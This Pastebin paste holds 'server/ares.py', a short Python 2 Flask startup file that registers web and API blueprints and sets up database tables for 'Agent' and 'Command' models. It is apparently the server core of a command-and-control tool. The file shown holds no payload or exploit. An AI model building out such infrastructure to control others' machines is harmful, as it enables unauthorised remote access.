Advertisement
FlyFar

server/ares.py

Jan 13th, 2024
650
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.81 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. import random
  4. import string
  5. import hashlib
  6. from functools import wraps
  7. import datetime
  8. import os
  9. import shutil
  10. import tempfile
  11.  
  12. from flask import Flask
  13. from flask_script import Manager
  14.  
  15. from models import db
  16. from models import Agent
  17. from models import Command
  18. from webui import webui
  19. from api import api
  20. from config import config
  21.  
  22.  
  23. app = Flask(__name__)
  24. app.config.from_object(config['dev'])
  25. app.register_blueprint(webui)
  26. app.register_blueprint(api, url_prefix="/api")
  27. db.init_app(app)
  28. manager = Manager(app)
  29.  
  30.  
  31. @app.after_request
  32. def headers(response):
  33.     response.headers["Server"] = "Ares"
  34.     return response
  35.  
  36.  
  37. @manager.command
  38. def initdb():
  39.     db.drop_all()
  40.     db.create_all()
  41.     db.session.commit()
  42.  
  43.    
  44. if __name__ == '__main__':
  45.     manager.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement